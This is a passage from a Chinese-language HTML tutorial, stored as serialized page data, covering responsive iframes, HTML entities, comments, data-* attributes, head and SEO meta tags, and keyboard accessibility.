loading=\"lazy\">\u003C\u002Fiframe>\n\u003C\u002Fdiv>\n",[22,127702,127703,127718,127755],{"__ignoreMap":314},[331,127704,127705,127707,127709,127711,127713,127716],{"class":333,"line":334},[331,127706,510],{"class":337},[331,127708,6021],{"class":497},[331,127710,1558],{"class":501},[331,127712,518],{"class":337},[331,127714,127715],{"class":365},"\"aspect-ratio:16\u002F9;position:relative\"",[331,127717,505],{"class":337},[331,127719,127720,127722,127724,127726,127728,127731,127733,127735,127737,127739,127741,127743,127745,127747,127749,127751,127753],{"class":333,"line":341},[331,127721,537],{"class":337},[331,127723,127524],{"class":497},[331,127725,1558],{"class":501},[331,127727,518],{"class":337},[331,127729,127730],{"class":365},"\"position:absolute;inset:0;width:100%;height:100%;border:0\"",[331,127732,894],{"class":501},[331,127734,518],{"class":337},[331,127736,92394],{"class":365},[331,127738,24734],{"class":501},[331,127740,518],{"class":337},[331,127742,92394],{"class":365},[331,127744,124126],{"class":501},[331,127746,518],{"class":337},[331,127748,124131],{"class":365},[331,127750,902],{"class":337},[331,127752,127524],{"class":497},[331,127754,505],{"class":337},[331,127756,127757,127759,127761],{"class":333,"line":357},[331,127758,788],{"class":337},[331,127760,6021],{"class":497},[331,127762,505],{"class":337},[11,127764,127765,127766,127768,127769,127771],{},"老浏览器兼容写法是 ",[22,127767,115359],{}," 撑出比例（原理相同：百分比 padding 相对",[17,127770,110437],{},"计算），CSS 教程第六章会解释这条规则。",[53,127773,127775],{"id":127774},"性能代价与-facade-模式","性能代价与 facade 模式",[1773,127777,127778,127785,127791,127805],{},[1662,127779,127780,127781,127784],{},"iframe 内容与主页面",[17,127782,127783],{},"不共享","渲染资源，一份 iframe 就是一次独立的网络与解析开销，是 Lighthouse「减少第三方代码」告警的主要来源。",[1662,127786,127787,127788,127790],{},"iframe 内的内容",[17,127789,36684],{},"被搜索引擎当作本页内容收录——把正文放 iframe 里等于放弃 SEO。",[1662,127792,127793,127794,127797,127798,127800,127801,127804],{},"视频、地图、社交组件建议用 ",[17,127795,127796],{},"facade 模式","：先渲染一张海报图 + 播放按钮（成本几乎为零），用户点击后才写入 ",[22,127799,18817],{}," 真正加载。YouTube 的 ",[22,127802,127803],{},"youtube-nocookie.com"," 组件、多数静态站的视频方案都是这个思路。",[1662,127806,127807,127808,127811,127812,268,127815,127818],{},"跨 iframe 通信只能用 ",[22,127809,127810],{},"postMessage","，两侧",[17,127813,127814],{},"都必须校验",[22,127816,127817],{},"event.origin","，否则任意页面都能给你发消息。",[48,127820,127822],{"id":127821},"十四实体注释与书写约定","十四、实体、注释与书写约定",[53,127824,127825],{"id":127825},"常用实体",[11,127827,127828],{},"只要内容里要显示标签字符本身，就必须转义：",[57,127830,127831,127841],{},[60,127832,127833],{},[63,127834,127835,127837,127839],{},[66,127836,19254],{},[66,127838,17202],{},[66,127840,1875],{},[79,127842,127843,127859,127874,127886,127902,127913,127932,127948,127961],{},[63,127844,127845,127853,127856],{},[84,127846,127847,268,127850],{},[22,127848,127849],{},"&lt;",[22,127851,127852],{},"&gt;",[84,127854,127855],{},"\u003C >",[84,127857,127858],{},"写代码示例，教程页最高频",[63,127860,127861,127866,127868],{},[84,127862,127863],{},[22,127864,127865],{},"&amp;",[84,127867,55024],{},[84,127869,127870,127871,127873],{},"与符号；URL 里的 ",[22,127872,55024],{}," 也要写成它",[63,127875,127876,127881,127883],{},[84,127877,127878],{},[22,127879,127880],{},"&quot;",[84,127882,6153],{},[84,127884,127885],{},"属性值里嵌套双引号",[63,127887,127888,127896,127899],{},[84,127889,127890,6745,127893],{},[22,127891,127892],{},"&apos;",[22,127894,127895],{},"&#39;",[84,127897,127898],{},"'",[84,127900,127901],{},"单引号（后者兼容性更稳）",[63,127903,127904,127908,127910],{},[84,127905,127906],{},[22,127907,123257],{},[84,127909,84819],{},[84,127911,127912],{},"不换行空格，强制不在此处折行",[63,127914,127915,127926,127929],{},[84,127916,127917,268,127920,268,127923],{},[22,127918,127919],{},"&copy;",[22,127921,127922],{},"&reg;",[22,127924,127925],{},"&trade;",[84,127927,127928],{},"© ® ™",[84,127930,127931],{},"版权、注册、商标",[63,127933,127934,127942,127945],{},[84,127935,127936,268,127939],{},[22,127937,127938],{},"&mdash;",[22,127940,127941],{},"&ndash;",[84,127943,127944],{},"— –",[84,127946,127947],{},"长破折号、短连接号",[63,127949,127950,127955,127958],{},[84,127951,127952],{},[22,127953,127954],{},"&middot;",[84,127956,127957],{},"·",[84,127959,127960],{},"面包屑分隔符",[63,127962,127963,127971,127974],{},[84,127964,127965,1901,127968],{},[22,127966,127967],{},"&#20195;",[22,127969,127970],{},"&#x4EE3;",[84,127972,127973],{},"代",[84,127975,127976],{},"任意 Unicode 的十进制 \u002F 十六进制写法",[4748,127978],{"height":32474,"src":127979,"title":127980},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F14-entities-conventions.html","示例 14：实体表与书写约定",[53,127982,127983],{"id":127983},"中文还需要实体吗",[11,127985,127986,127987,127989],{},"不需要。声明了 ",[22,127988,123059],{}," 且文件确实存成 UTF-8，中文、emoji（😀）、数学符号（∑）都能直接写。实体的现代用途只剩两类：展示标签语法的教程页，以及编码不确定的旧环境。",[11,127991,127992,127993,127996,127997,127999,128000,1901,128002,1901,128004,161],{},"反过来要警惕的是",[17,127994,127995],{},"该转义时没转义","：把用户输入直接拼进 HTML 是 XSS 的标准成因。转义发生在「输出到 HTML」这一步，而不是存储时；主流框架的插值语法（Vue 的 ",[22,127998,18369],{},"、React 的 JSX）已默认转义，真正要小心的是主动使用 ",[22,128001,18588],{},[22,128003,3770],{},[22,128005,128006],{},"dangerouslySetInnerHTML",[53,128008,128009],{"id":128009},"注释的现状与风险",[308,128011,128013],{"className":485,"code":128012,"language":487,"meta":314,"style":314},"\u003C!-- 普通注释 -->\n\u003C!-- 注释里不能出现连续两个减号，会被提前当成结束 -->\n",[22,128014,128015,128020],{"__ignoreMap":314},[331,128016,128017],{"class":333,"line":334},[331,128018,128019],{"class":1003},"\u003C!-- 普通注释 -->\n",[331,128021,128022],{"class":333,"line":341},[331,128023,128024],{"class":1003},"\u003C!-- 注释里不能出现连续两个减号，会被提前当成结束 -->\n",[11,128026,128027,128028,128031,128032,128035],{},"三条现状：① 注释",[17,128029,128030],{},"会随 HTML 一起发给用户","，内部接口地址、密钥、客户名字都不能写；② 浏览器不执行注释里的脚本，但「把密码注释掉」这种写法每年仍会被扫描器捡出来；③ 条件注释（",[22,128033,128034],{},"\u003C!--[if IE]>","）在 IE 10+ 已彻底失效，别再用来做浏览器分支。",[53,128037,128039],{"id":128038},"大小写引号与布尔属性","大小写、引号与布尔属性",[57,128041,128042,128053],{},[60,128043,128044],{},[63,128045,128046,128048,128051],{},[66,128047,5801],{},[66,128049,128050],{},"现代约定",[66,128052,92139],{},[79,128054,128055,128066,128080,128104,128137],{},[63,128056,128057,128060,128063],{},[84,128058,128059],{},"标签大小写",[84,128061,128062],{},"全部小写",[84,128064,128065],{},"HTML 不区分，但 XHTML\u002FVue 模板区分，混写最容易出问题",[63,128067,128068,128071,128074],{},[84,128069,128070],{},"属性值引号",[84,128072,128073],{},"始终加",[84,128075,128076,128077,128079],{},"值里含空格或 ",[22,128078,55024],{}," 时不加就错",[63,128081,128082,128084,128091],{},[84,128083,18860],{},[84,128085,128086,56421,128088],{},[22,128087,126561],{},[22,128089,128090],{},"required=\"required\"",[84,128092,128093,128094,128097,128098,128100,128101],{},"JS 里 ",[22,128095,128096],{},"getAttribute('disabled')"," 拿到的是空串而不是 ",[22,128099,53603],{},"，判断要用 ",[22,128102,128103],{},"el.disabled",[63,128105,128106,128109,128117],{},[84,128107,128108],{},"自闭合",[84,128110,128111,128113,128114],{},[22,128112,123059],{},"，不写 ",[22,128115,128116],{},"\u002F>",[84,128118,128119,128120,655,128123,655,128125,655,128127,655,128130,655,128132,655,128134,128136],{},"void 元素（",[22,128121,128122],{},"br",[22,128124,18812],{},[22,128126,19733],{},[22,128128,128129],{},"hr",[22,128131,540],{},[22,128133,87937],{},[22,128135,55942],{},"）本来就没有结束标签",[63,128138,128139,128142,128145],{},[84,128140,128141],{},"缩进",[84,128143,128144],{},"两个空格，项目内统一",[84,128146,128147],{},"交给编辑器\u002FPrettier 格式化，别手对齐",[48,128149,128151],{"id":128150},"十五data-自定义属性","十五、data-* 自定义属性",[11,128153,128154,128156,128157,128160,128161,161],{},[22,128155,25989],{}," 是「给元素挂自定义数据」的合法位置，值永远是字符串。命名规则：必须以 ",[22,128158,128159],{},"data-"," 开头，后面只允许小写字母、数字和连字符——",[17,128162,128163],{},"不能有大写、不能有点",[53,128165,128166],{"id":128166},"语法与命名",[308,128168,128170],{"className":485,"code":128169,"language":487,"meta":314,"style":314},"\u003Carticle id=\"a12\"\n         data-level=\"hot\"\n         data-user-id=\"1024\"\n         data-max-width=\"480\"\n         data-config='{\"sortable\":true,\"page\":1}'>\n  …\n\u003C\u002Farticle>\n",[22,128171,128172,128185,128195,128205,128215,128227,128232],{"__ignoreMap":314},[331,128173,128174,128176,128178,128180,128182],{"class":333,"line":334},[331,128175,510],{"class":337},[331,128177,125379],{"class":497},[331,128179,827],{"class":501},[331,128181,518],{"class":337},[331,128183,128184],{"class":365},"\"a12\"\n",[331,128186,128187,128190,128192],{"class":333,"line":341},[331,128188,128189],{"class":501},"         data-level",[331,128191,518],{"class":337},[331,128193,128194],{"class":365},"\"hot\"\n",[331,128196,128197,128200,128202],{"class":333,"line":357},[331,128198,128199],{"class":501},"         data-user-id",[331,128201,518],{"class":337},[331,128203,128204],{"class":365},"\"1024\"\n",[331,128206,128207,128210,128212],{"class":333,"line":371},[331,128208,128209],{"class":501},"         data-max-width",[331,128211,518],{"class":337},[331,128213,128214],{"class":365},"\"480\"\n",[331,128216,128217,128220,128222,128225],{"class":333,"line":384},[331,128218,128219],{"class":501},"         data-config",[331,128221,518],{"class":337},[331,128223,128224],{"class":365},"'{\"sortable\":true,\"page\":1}'",[331,128226,505],{"class":337},[331,128228,128229],{"class":333,"line":397},[331,128230,128231],{"class":337},"  …\n",[331,128233,128234,128236,128238],{"class":333,"line":418},[331,128235,788],{"class":337},[331,128237,125379],{"class":497},[331,128239,505],{"class":337},[1773,128241,128242,128253,128261],{},[1662,128243,128244,128245,128248,128249,128252],{},"名字用 kebab-case（",[22,128246,128247],{},"data-max-width","），驼峰只出现在 JS 的 ",[22,128250,128251],{},"dataset"," 访问端。",[1662,128254,62773,128255,62776,128258,161],{},[22,128256,128257],{},"data-role=\"price\"",[22,128259,128260],{},"data-x=\"3\"",[1662,128262,128263,128264,128266],{},"JSON 值用",[17,128265,92375],{},"包裹，内部保持标准双引号 JSON。",[53,128268,128270],{"id":128269},"配合-css-属性选择器","配合 CSS 属性选择器",[11,128272,128273,128274,128277],{},"CSS 能直接按属性匹配，这带来一种很实用的写法：",[17,128275,128276],{},"把「内容属性」交给 data，样式响应它","，JS 只改属性不碰类名。",[308,128279,128281],{"className":108720,"code":128280,"language":108722,"meta":314,"style":314},".card[data-level=\"hot\"] { border-color: #cf222e; }   \u002F* 精确匹配 *\u002F\n.card[data-level]       { cursor: pointer; }          \u002F* 只要属性存在 *\u002F\n[data-level^=\"h\"]       { … }                         \u002F* 前缀，还有 $= *= ~= |= *\u002F\n.card[data-level]::after { content: attr(data-level); } \u002F* 把值当文本显示出来 *\u002F\n.grid-item[data-span=\"2\"] { grid-column: span 2; }\n",[22,128282,128283,128310,128332,128350,128379],{"__ignoreMap":314},[331,128284,128285,128287,128289,128292,128294,128297,128299,128301,128303,128305,128307],{"class":333,"line":334},[331,128286,109053],{"class":501},[331,128288,2487],{"class":337},[331,128290,128291],{"class":501},"data-level",[331,128293,518],{"class":616},[331,128295,128296],{"class":365},"\"hot\"",[331,128298,110191],{"class":337},[331,128300,111783],{"class":344},[331,128302,348],{"class":337},[331,128304,117686],{"class":344},[331,128306,35033],{"class":337},[331,128308,128309],{"class":1003},"\u002F* 精确匹配 *\u002F\n",[331,128311,128312,128314,128316,128318,128321,128323,128325,128327,128329],{"class":333,"line":341},[331,128313,109053],{"class":501},[331,128315,2487],{"class":337},[331,128317,128291],{"class":501},[331,128319,128320],{"class":337},"]       { ",[331,128322,731],{"class":344},[331,128324,348],{"class":337},[331,128326,736],{"class":344},[331,128328,113145],{"class":337},[331,128330,128331],{"class":1003},"\u002F* 只要属性存在 *\u002F\n",[331,128333,128334,128336,128338,128341,128344,128347],{"class":333,"line":357},[331,128335,2487],{"class":337},[331,128337,128291],{"class":501},[331,128339,128340],{"class":616},"^=",[331,128342,128343],{"class":365},"\"h\"",[331,128345,128346],{"class":337},"]       { … }                         ",[331,128348,128349],{"class":1003},"\u002F* 前缀，还有 $= *= ~= |= *\u002F\n",[331,128351,128352,128354,128356,128358,128360,128362,128364,128366,128368,128370,128372,128374,128376],{"class":333,"line":371},[331,128353,109053],{"class":501},[331,128355,2487],{"class":337},[331,128357,128291],{"class":501},[331,128359,93886],{"class":337},[331,128361,109096],{"class":501},[331,128363,605],{"class":337},[331,128365,112503],{"class":344},[331,128367,348],{"class":337},[331,128369,117944],{"class":344},[331,128371,966],{"class":337},[331,128373,128291],{"class":2472},[331,128375,119463],{"class":337},[331,128377,128378],{"class":1003},"\u002F* 把值当文本显示出来 *\u002F\n",[331,128380,128381,128384,128386,128389,128391,128393,128395,128398,128400,128402],{"class":333,"line":384},[331,128382,128383],{"class":501},".grid-item",[331,128385,2487],{"class":337},[331,128387,128388],{"class":501},"data-span",[331,128390,518],{"class":616},[331,128392,124755],{"class":365},[331,128394,110191],{"class":337},[331,128396,128397],{"class":344},"grid-column",[331,128399,113844],{"class":337},[331,128401,9292],{"class":344},[331,128403,664],{"class":337},[11,128405,128406,23629,128409,128411,128412,128414,128415,128417],{},[22,128407,128408],{},"attr()",[22,128410,112503],{}," 里取值非常省事（做角标、单位后缀），但它目前只能可靠地用在 ",[22,128413,112503],{}," 上，不能拿去当宽度、颜色等任意属性值使用——那条能力（",[22,128416,128408],{}," 的通用用法）还在逐步落地中，写生产样式前请查一次基线支持。",[4748,128419],{"height":32474,"src":128420,"title":128421},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F15-data-attr.html","示例 15：data-* 与 CSS\u002FJS 的配合",[53,128423,128425],{"id":128424},"dataset-读取","dataset 读取",[308,128427,128429],{"className":942,"code":128428,"language":944,"meta":314,"style":314},"const el = document.querySelector('[data-user-id]')\n\nel.dataset.userId      \u002F\u002F '1024' —— 连字符名自动映射成驼峰\nel.dataset.maxWidth    \u002F\u002F '480'，注意仍是字符串，要自己 parseInt\nel.dataset.state = 'ok'\u002F\u002F 写入会同步反映到 HTML 属性，CSS 选择器立刻生效\n\nObject.entries(el.dataset)          \u002F\u002F 遍历该元素上全部 data-*\ndelete el.dataset.clicks            \u002F\u002F 删除属性\n\nel.getAttribute('data-user-id')     \u002F\u002F 等价读法；setAttribute 是等价写法\n",[22,128430,128431,128450,128454,128462,128470,128483,128487,128499,128509,128513],{"__ignoreMap":314},[331,128432,128433,128435,128437,128439,128441,128443,128445,128448],{"class":333,"line":334},[331,128434,951],{"class":616},[331,128436,101172],{"class":344},[331,128438,957],{"class":616},[331,128440,960],{"class":337},[331,128442,963],{"class":501},[331,128444,966],{"class":337},[331,128446,128447],{"class":365},"'[data-user-id]'",[331,128449,972],{"class":337},[331,128451,128452],{"class":333,"line":341},[331,128453,998],{"emptyLinePlaceholder":997},[331,128455,128456,128459],{"class":333,"line":357},[331,128457,128458],{"class":337},"el.dataset.userId      ",[331,128460,128461],{"class":1003},"\u002F\u002F '1024' —— 连字符名自动映射成驼峰\n",[331,128463,128464,128467],{"class":333,"line":371},[331,128465,128466],{"class":337},"el.dataset.maxWidth    ",[331,128468,128469],{"class":1003},"\u002F\u002F '480'，注意仍是字符串，要自己 parseInt\n",[331,128471,128472,128475,128477,128480],{"class":333,"line":384},[331,128473,128474],{"class":337},"el.dataset.state ",[331,128476,518],{"class":616},[331,128478,128479],{"class":365}," 'ok'",[331,128481,128482],{"class":1003},"\u002F\u002F 写入会同步反映到 HTML 属性，CSS 选择器立刻生效\n",[331,128484,128485],{"class":333,"line":397},[331,128486,998],{"emptyLinePlaceholder":997},[331,128488,128489,128491,128493,128496],{"class":333,"line":418},[331,128490,67398],{"class":337},[331,128492,64023],{"class":501},[331,128494,128495],{"class":337},"(el.dataset)          ",[331,128497,128498],{"class":1003},"\u002F\u002F 遍历该元素上全部 data-*\n",[331,128500,128501,128503,128506],{"class":333,"line":427},[331,128502,67240],{"class":616},[331,128504,128505],{"class":337}," el.dataset.clicks            ",[331,128507,128508],{"class":1003},"\u002F\u002F 删除属性\n",[331,128510,128511],{"class":333,"line":439},[331,128512,998],{"emptyLinePlaceholder":997},[331,128514,128515,128518,128521,128523,128526,128528],{"class":333,"line":450},[331,128516,128517],{"class":337},"el.",[331,128519,128520],{"class":501},"getAttribute",[331,128522,966],{"class":337},[331,128524,128525],{"class":365},"'data-user-id'",[331,128527,14439],{"class":337},[331,128529,128530],{"class":1003},"\u002F\u002F 等价读法；setAttribute 是等价写法\n",[11,128532,128533,5160,128535,128537,128538,161],{},[22,128534,128251],{},[22,128536,128520],{}," 的区别只在可读性，操作的是同一个属性。要监听变化用 ",[22,128539,2344],{},[53,128541,128543],{"id":128542},"什么时候不该用-data","什么时候不该用 data-*",[1773,128545,128546,128556,128562,128586],{},[1662,128547,128548,128551,128552,128555],{},[17,128549,128550],{},"外观开关用 class，不用 data-","*。",[22,128553,128554],{},"data-color=\"red\""," 通常说明你真正想要的是一个语义类名。",[1662,128557,128558,128561],{},[17,128559,128560],{},"敏感信息不要放","：和所有属性一样，它会出现在源码里，任何人可见。",[1662,128563,128564,322,128567,272,128570,272,128573,128575,128576,128578,128579,128582,128583,128585],{},[17,128565,128566],{},"可访问性状态必须用 ARIA",[22,128568,128569],{},"aria-expanded",[22,128571,128572],{},"aria-current",[22,128574,122096],{}," 会被读屏播报，",[22,128577,25989],{}," 完全不会。把 ",[22,128580,128581],{},"data-open"," 当成 ",[22,128584,128569],{}," 用是常见错误。",[1662,128587,128588,128589,128592],{},"需要传结构化配置时，集中成一个 ",[22,128590,128591],{},"data-config"," JSON 比散成十几个属性更好维护。",[48,128594,128596],{"id":128595},"十六响应式视口head-元信息与-seo","十六、响应式视口、head 元信息与 SEO",[11,128598,128599,128601],{},[22,128600,12624],{}," 里的内容决定三件事：手机上能不能正常排版、搜索结果长什么样、分享到社交平台时有没有卡片图。",[53,128603,128605],{"id":128604},"viewport-那一行到底在说什么","viewport 那一行到底在说什么",[308,128607,128609],{"className":485,"code":128608,"language":487,"meta":314,"style":314},"\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n",[22,128610,128611],{"__ignoreMap":314},[331,128612,128613,128615,128617,128619,128621,128623,128625,128627,128629],{"class":333,"line":334},[331,128614,510],{"class":337},[331,128616,540],{"class":497},[331,128618,559],{"class":501},[331,128620,518],{"class":337},[331,128622,564],{"class":365},[331,128624,567],{"class":501},[331,128626,518],{"class":337},[331,128628,572],{"class":365},[331,128630,505],{"class":337},[1773,128632,128633,128647,128654,128664],{},[1662,128634,128635,128638,128639,128642,128643,128646],{},[22,128636,128637],{},"width=device-width","：按设备的",[17,128640,128641],{},"逻辑宽度","排版；",[22,128644,128645],{},"initial-scale=1","：初始不缩放。",[1662,128648,128649,128650,128653],{},"漏写这一行，手机会按 980px 宽排版再整体缩小，文字小到看不清，并且",[17,128651,128652],{},"所有媒体查询失效","——它看到的宽度永远是 980 而不是 375。",[1662,128655,128656,128657,6745,128660,128663],{},"不要再写 ",[22,128658,128659],{},"user-scalable=no",[22,128661,128662],{},"maximum-scale=1","：禁止双指放大是可访问性错误，主流浏览器也已不再遵守。",[1662,128665,128666],{},"与它配套的 CSS 是「流式布局 + 少量断点」，见 CSS 教程第十三章。",[4748,128668],{"height":32474,"src":128669,"title":128670},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F16-head-seo.html","示例 16：head 元信息与分享卡片效果",[53,128672,128674],{"id":128673},"titledescriptioncanonical三件必写","title、description、canonical：三件必写",[57,128676,128677,128689],{},[60,128678,128679],{},[63,128680,128681,128684,128686],{},[66,128682,128683],{},"项",[66,128685,3723],{},[66,128687,128688],{},"常见失误",[79,128690,128691,128703,128715],{},[63,128692,128693,128697,128700],{},[84,128694,128695],{},[22,128696,12837],{},[84,128698,128699],{},"每页唯一，30 字以内，核心词靠前，「文章名 - 站点名」格式",[84,128701,128702],{},"全站同一个标题；被截断；标题堆砌关键词",[63,128704,128705,128709,128712],{},[84,128706,128707],{},[22,128708,12840],{},[84,128710,128711],{},"80–120 字，写给用户看的一句话摘要",[84,128713,128714],{},"缺失（引擎自己拼，通常很难看）；把整段正文粘进去",[63,128716,128717,128722,128725],{},[84,128718,128719],{},[22,128720,128721],{},"\u003Clink rel=\"canonical\">",[84,128723,128724],{},"同一内容的多个 URL 指向唯一规范地址",[84,128726,128727],{},"分页\u002F排序参数各自一条规范地址，导致权重分散",[11,128729,128730,128732,128733,128736,128737,17306,128740,128743,128744,128746],{},[22,128731,12833],{}," 不直接提升排名，但它决定用户在你的摘要里看到什么，影响点击率。",[22,128734,128735],{},"robots"," 相关：内部搜索结果页、预览页写 ",[22,128738,128739],{},"noindex",[22,128741,128742],{},"hreflang"," 用于多语言版本互相声明，必须双向；",[22,128745,17108],{}," 提交到搜索引擎站长平台。",[11,128748,128749,128750,128753,128754,1677,128756,128758,128759,128761],{},"静态站框架通常能自动产出这几项。本站在 Nuxt 里对应 ",[22,128751,128752],{},"useSeoMeta()","（页面级）与 ",[22,128755,4590],{},[22,128757,12985],{},"——注意 ",[22,128760,12985],{}," 上线前必须换成真实域名，否则 canonical 和 sitemap 都会指向占位地址。",[53,128763,128765],{"id":128764},"open-graph-与分享卡片","Open Graph 与分享卡片",[308,128767,128769],{"className":485,"code":128768,"language":487,"meta":314,"style":314},"\u003Cmeta property=\"og:type\" content=\"article\">\n\u003Cmeta property=\"og:title\" content=\"HTML 教程：从第一个标签到语义化页面\">\n\u003Cmeta property=\"og:description\" content=\"19 章循序渐进，每章配可直接运行的示例。\">\n\u003Cmeta property=\"og:image\" content=\"https:\u002F\u002F你的域名\u002Fimg\u002Fhtml-cover.svg\">\n\u003Cmeta property=\"og:url\" content=\"https:\u002F\u002F你的域名\u002Ftutorials\u002Fhtml\">\n\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\">\n",[22,128770,128771,128794,128816,128838,128860,128882],{"__ignoreMap":314},[331,128772,128773,128775,128777,128780,128782,128785,128787,128789,128792],{"class":333,"line":334},[331,128774,510],{"class":337},[331,128776,540],{"class":497},[331,128778,128779],{"class":501}," property",[331,128781,518],{"class":337},[331,128783,128784],{"class":365},"\"og:type\"",[331,128786,567],{"class":501},[331,128788,518],{"class":337},[331,128790,128791],{"class":365},"\"article\"",[331,128793,505],{"class":337},[331,128795,128796,128798,128800,128802,128804,128807,128809,128811,128814],{"class":333,"line":341},[331,128797,510],{"class":337},[331,128799,540],{"class":497},[331,128801,128779],{"class":501},[331,128803,518],{"class":337},[331,128805,128806],{"class":365},"\"og:title\"",[331,128808,567],{"class":501},[331,128810,518],{"class":337},[331,128812,128813],{"class":365},"\"HTML 教程：从第一个标签到语义化页面\"",[331,128815,505],{"class":337},[331,128817,128818,128820,128822,128824,128826,128829,128831,128833,128836],{"class":333,"line":357},[331,128819,510],{"class":337},[331,128821,540],{"class":497},[331,128823,128779],{"class":501},[331,128825,518],{"class":337},[331,128827,128828],{"class":365},"\"og:description\"",[331,128830,567],{"class":501},[331,128832,518],{"class":337},[331,128834,128835],{"class":365},"\"19 章循序渐进，每章配可直接运行的示例。\"",[331,128837,505],{"class":337},[331,128839,128840,128842,128844,128846,128848,128851,128853,128855,128858],{"class":333,"line":371},[331,128841,510],{"class":337},[331,128843,540],{"class":497},[331,128845,128779],{"class":501},[331,128847,518],{"class":337},[331,128849,128850],{"class":365},"\"og:image\"",[331,128852,567],{"class":501},[331,128854,518],{"class":337},[331,128856,128857],{"class":365},"\"https:\u002F\u002F你的域名\u002Fimg\u002Fhtml-cover.svg\"",[331,128859,505],{"class":337},[331,128861,128862,128864,128866,128868,128870,128873,128875,128877,128880],{"class":333,"line":384},[331,128863,510],{"class":337},[331,128865,540],{"class":497},[331,128867,128779],{"class":501},[331,128869,518],{"class":337},[331,128871,128872],{"class":365},"\"og:url\"",[331,128874,567],{"class":501},[331,128876,518],{"class":337},[331,128878,128879],{"class":365},"\"https:\u002F\u002F你的域名\u002Ftutorials\u002Fhtml\"",[331,128881,505],{"class":337},[331,128883,128884,128886,128888,128890,128892,128895,128897,128899,128902],{"class":333,"line":397},[331,128885,510],{"class":337},[331,128887,540],{"class":497},[331,128889,559],{"class":501},[331,128891,518],{"class":337},[331,128893,128894],{"class":365},"\"twitter:card\"",[331,128896,567],{"class":501},[331,128898,518],{"class":337},[331,128900,128901],{"class":365},"\"summary_large_image\"",[331,128903,505],{"class":337},[11,128905,29078,128906,268,128908,128911,128912,128914],{},[22,128907,13418],{},[17,128909,128910],{},"必须是绝对 URL","，比例约 1.91:1（1200×630）；相对路径不会报错，只会让卡片没有图。部分平台不支持 SVG 作为 ",[22,128913,13418],{},"，稳妥做法是额外准备一份 JPG\u002FPNG。各平台都有官方校验工具（微信\u002F微博、Facebook Sharing Debugger、Twitter Card Validator），发布新模板时逐个跑一次。",[53,128916,128918],{"id":128917},"其它常用-head-元信息","其它常用 head 元信息",[1773,128920,128921,128931,128941,128947,128957,128966],{},[1662,128922,128923,128926,128927,128930],{},[22,128924,128925],{},"theme-color","：手机浏览器地址栏配色；给深色模式再补一条带 ",[22,128928,128929],{},"media=\"(prefers-color-scheme: dark)\""," 的。",[1662,128932,128933,128936,128937,128940],{},[22,128934,128935],{},"link rel=\"icon\"","：标签页图标，同时保留 ",[22,128938,128939],{},"\u002Ffavicon.ico"," 兜底最省事。",[1662,128942,128943,128946],{},[22,128944,128945],{},"link rel=\"alternate\" type=\"application\u002Frss+xml\"","：RSS 订阅地址。",[1662,128948,128949,128952,128953,128956],{},[22,128950,128951],{},"link rel=\"preconnect\"","：只对",[17,128954,128955],{},"确定要请求","的第三方域名握手，加多了适得其反。",[1662,128958,128959,268,128962,128965],{},[22,128960,128961],{},"format-detection",[22,128963,128964],{},"telephone=no","：禁止 iOS 把一串数字变成电话链接。",[1662,128967,128968,128971],{},[22,128969,128970],{},"\u003Cmeta http-equiv=\"refresh\">","：除非做跳转兜底，否则别用——它打断用户且读屏不友好。",[48,128973,128975],{"id":128974},"十七可访问性","十七、可访问性",[11,128977,128978],{},"可访问性（a11y）不是「给残障人士的额外功能」，而是键盘用户、色觉差异用户、强光下阅读、临时受伤（手腕扭伤只能用键盘）都能正常使用的底线要求。它也是 Lighthouse 审计里最容易批量失分的一项。",[53,128980,128981],{"id":128981},"键盘可达与焦点顺序",[11,128983,128984,128985,272,128987,272,128989,272,128992,272,128994,128996,128997,128999,129000,272,129003,129006,129007,129009,129010,129013],{},"原生可交互元素——",[22,128986,23625],{},[22,128988,32544],{},[22,128990,128991],{},"\u003Cinput>",[22,128993,22947],{},[22,128995,22880],{},"——天然能 Tab 到、天然响应 Enter\u002F空格。用 ",[22,128998,7724],{}," 冒充按钮时你需要自己补齐三件事：",[22,129001,129002],{},"tabindex=\"0\"",[22,129004,129005],{},"role=\"button\"","、以及监听 ",[22,129008,70350],{}," 处理 Enter 与空格。",[17,129011,129012],{},"只要能用原生标签就用原生标签","，这是最省事也最不容易出错的做法。",[11,129015,129016,129019,129020,129022,129023,129025,129026,129029],{},[22,129017,129018],{},"tabindex"," 的三个取值要知道：",[22,129021,628],{}," 按 DOM 顺序入列；",[22,129024,65523],{}," 不能被 Tab 到但可被脚本聚焦（弹窗背景常用）；",[17,129027,129028],{},"正数","会打乱全局顺序，绝大多数场景都不该出现。",[11,129031,129032],{},"另外两条：模态弹窗打开时应把焦点移入并在内部循环（focus trap），关闭后归还到触发元素；「跳到主内容」的隐藏链接（首个焦点时露出）能替键盘用户省掉每次遍历整条导航。",[4748,129034],{"height":32474,"src":129035,"title":129036},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F17-a11y.html","示例 17：键盘遍历、焦点样式与对比度",[53,129038,129039],{"id":129039},"焦点必须看得见",[11,129041,129042],{},"最严重也最常见的问题是抹掉焦点环：",[308,129044,129046],{"className":108720,"code":129045,"language":108722,"meta":314,"style":314},"\u002F* 错误：键盘用户直接失去定位能力 *\u002F\nbutton:focus { outline: none; }\n\n\u002F* 正确：保留焦点，但换成符合设计的外观 *\u002F\n:focus-visible { outline: 3px solid #0969da; outline-offset: 2px; }\n",[22,129047,129048,129053,129069,129073,129078],{"__ignoreMap":314},[331,129049,129050],{"class":333,"line":334},[331,129051,129052],{"class":1003},"\u002F* 错误：键盘用户直接失去定位能力 *\u002F\n",[331,129054,129055,129057,129059,129061,129063,129065,129067],{"class":333,"line":341},[331,129056,824],{"class":497},[331,129058,109409],{"class":501},[331,129060,605],{"class":337},[331,129062,111913],{"class":344},[331,129064,348],{"class":337},[331,129066,50866],{"class":344},[331,129068,664],{"class":337},[331,129070,129071],{"class":333,"line":357},[331,129072,998],{"emptyLinePlaceholder":997},[331,129074,129075],{"class":333,"line":371},[331,129076,129077],{"class":1003},"\u002F* 正确：保留焦点，但换成符合设计的外观 